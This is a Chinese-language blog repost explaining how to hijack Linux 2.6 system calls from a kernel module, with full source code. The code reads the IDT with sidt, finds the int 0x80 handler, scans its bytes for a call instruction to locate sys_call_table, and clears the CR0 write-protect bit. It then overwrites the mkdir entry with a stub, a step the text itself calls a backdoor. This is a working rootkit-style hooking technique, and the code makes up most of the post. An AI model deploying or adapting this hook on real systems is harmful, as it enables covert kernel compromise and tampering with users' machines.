现在的位置: 首页 > 综合 > 正文

linux 系统调用中断劫持实现—原理和代码

2018年03月18日 ⁄ 综合 ⁄ 共 4503字 ⁄ 字号 评论关闭

在linux 2.4版本的内核中,使用了导出符号表sys_call_table.因此,很容易通过导出符号表来找到系统调用表的地址,因此给攻击程序提供了方便的策略。因此,为了安全,在2.6内核版本中,系统调用表不再被导出。下面给出在2.6内核代码中获得系统调用表,实现系统劫持的过程。(修改sys_mkdir系统调用为例)。

实现代码:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <asm/unistd.h>
MODULE_DESCRIPTION("My kernel module");
MODULE_AUTHOR("root (root@10h212.xjtu.edu.cn)");
MODULE_LICENSE("$LICENSE$");

struct idt
{
unsigned short limit;
unsigned int base;
}__attribute__((packed));

struct idt_gate
{
unsigned short off1;
unsigned short sel;
unsigned char nome,flags;
unsigned short off2;
}__attribute__((packed));

unsigned int get_idt_base()
{
 unsigned int base;
struct idt idt_table;
__asm__ __volatile__("sidt %0":"=m"(idt_table));
base=idt_table.base;
return base;
}

unsigned int get_sys_call_entry(unsigned int idt_base)
{
struct idt_gate sys_call;
memcpy(&sys_call,idt_base+8*0x80,sizeof(struct idt_gate));
unsigned int sys_call_entry=(sys_call.off2 << 16) | sys_call.off1;
return sys_call_entry;
}

unsigned int get_sys_call_table_entry(unsigned int sys_call_entry,char * exp,char exp_len,unsigned int cope)
{
char * begin=sys_call_entry;
char * end=sys_call_entry+cope;
for(;begin<end;begin++)
{
 if(begin[0]==exp[0]&&begin[1]==exp[1]&&begin[2]==exp[2])
   return *((unsigned int *)(begin+3));
}
return 0;
}

void setback_cr0(unsigned int val)
 {
     asm volatile ("movl %%eax, %%cr0"
               :
               : "a"(val)
               );
 }
unsigned int clear_cr0_save()
{
   unsigned int cr0 = 0;
   unsigned int ret;
   __asm__ __volatile__ ("movl %%cr0, %%eax":"=a"(cr0));
   ret = cr0;

  cr0 &= 0xfffeffff;
  asm volatile ("movl %%eax, %%cr0":: "a"(cr0));
  return ret;
}

// new mkdir
asmlinkage long my_mkdir(const char *name,int mod)
{
printk(KERN_ALERT"mkdir call is intercepted\n");
}
asmlinkage long my_open(const char *name,int mod)
{
printk(KERN_ALERT"open call is intercepted\n");
}
static int syscall_info_init_module(void)
{
        unsigned int idt_base=get_idt_base();
        printk( KERN_ALERT"the idt base address is %x\n",idt_base );
    unsigned int sys_call_entry=get_sys_call_entry(idt_base);
    printk( KERN_ALERT"the sys call entry is %x\n",sys_call_entry );
        unsigned int sys_table=get_sys_call_table_entry(sys_call_entry,"\xff\x14\x85",3,100);
    void ** table=(void **)sys_table;
   
    //wp clear
      unsigned int cr0=clear_cr0_save();
    // intercept mkdir call
    table[__NR_mkdir]=my_mkdir;
      //   table[__NR_open]=my_mkoep;
    //set wp bit
    setback_cr0(cr0);
    printk( KERN_ALERT"the sys table  is %x\n",sys_table );
    return 0;
}
static void syscall_info_exit_module(void)
{
    printk( KERN_DEBUG "Module syscall_info exit\n" );
}

module_init(syscall_info_init_module);
module_exit(syscall_info_exit_module);

实现原理:

在linux中使用0x80 异常实现系统调用,因此,主要的实现路径:获得中断向量表->获得系统调用中断处理函数地址->获得系统调用符号表->修改对应变量的偏移值指向新的系统调用程序(后门程序)。
一,中断像量表的获取。
在x86中,idtr寄存器使得中断向量表可以存放在内存的任何位置,idtr寄存器有一个基地址和一个段限组成,高四字节为基地址,低两字节为段限。可以通过sidt指令获得idtr的内容。
struct idt
{
unsigned short limit;
unsigned int base;
}__attribute__((packed));

__asm__ __volatile__("sidt %0":"=m"(idt_table));

上面语句通过sidt将idtr的内容付给idt_table,通过idt_table.base即可得到idt的基地址。

二,系统调用处理函数地址的获取:

IDT基地址存放的是中断门,每个门8个字节,门描述符的格式参考intel开发手册,其中,中断门的最低两个字节和最高两个字节构成了中断处理程序的地址。获得系统调用中断(异常)处理程序的地址

memcpy(&sys_call,idt_base+8*0x80,sizeof(struct idt_gate));
unsigned int sys_call_entry=(sys_call.off2 << 16) | sys_call.off1;
return sys_call_entry;

通过sys_call结构体的off2字段和off1字段来获得系统调用处理程序的地址。

中断门描述符:

struct idt_gate
{
unsigned short off1;
unsigned short sel;
unsigned char nome,flags;
unsigned short off2;
}__attribute__((packed));

三,获得系统调用表。

我们的目的是修改系统调用地址,从而修改系统处理程序地址。sys_call是所有系统调用的处理程序,在进行一些必要的处理后,统一调用

call sys_call_table(,eax,4)来调用系统调用表中的系统调用程序,eax存放的即系统调用号,因此,获取sys_call_table的地址即可以达到目的。

通过反汇编sys_call函数,可以得知,只有在调用系统调用处使用了call指令,x86 call指令的二进制格式为\xff\x14\x85,因此,我们可以从sys_call函数开始进行搜索,当出现\xff\x14\x85指令的时候,即为call的地址,从而能得到存放sys_call_table的地址即当前地址+3,而系统调用表即地址的内容,因此,获取系统调用表地址的实现过程就简单了。

unsigned int get_sys_call_table_entry(unsigned int sys_call_entry,char * exp,char exp_len,unsigned int cope)
{
char * begin=sys_call_entry;
char * end=sys_call_entry+cope;
for(;begin<end;begin++)
{
 if(begin[0]==exp[0]&&begin[1]==exp[1]&&begin[2]==exp[2])
   return *((unsigned int *)(begin+3));
}
return 0;
}
这是通过简单的搜索的方式来找到call 指令,从而得到sys_call_table的地址的。

四,劫持系统调用

首先,准备了一个替代的系统调用

asmlinkage long my_mkdir(const char *name,int mod)
{
printk(KERN_ALERT"mkdir call is intercepted\n");
}
然后设置cr0寄存器的wp位,然后修改mkdir系统调用地址,设置为my_mkdir的地址。

  unsigned int cr0=clear_cr0_save();
    // intercept mkdir call
    table[__NR_mkdir]=my_mkdir;
      //   table[__NR_open]=my_mkoep;
    //set wp bit
    setback_cr0(cr0);

注:如果不清楚cr0的wp位,则出现段错误,原因是,对相关页实现了写保护策略,因此,。应该通过cr0寄存器wp位置来使得页表保护无效,修改后,再设置为原来的值。
这样,将模块加载到内核后,即可以实现系统调用的劫持。在terminal中输入mkdir命令,即可发现,不能创建文件夹了。

from:http://blog.sina.com.cn/s/blog_596d00a70100jpa7.html

抱歉!评论已关闭.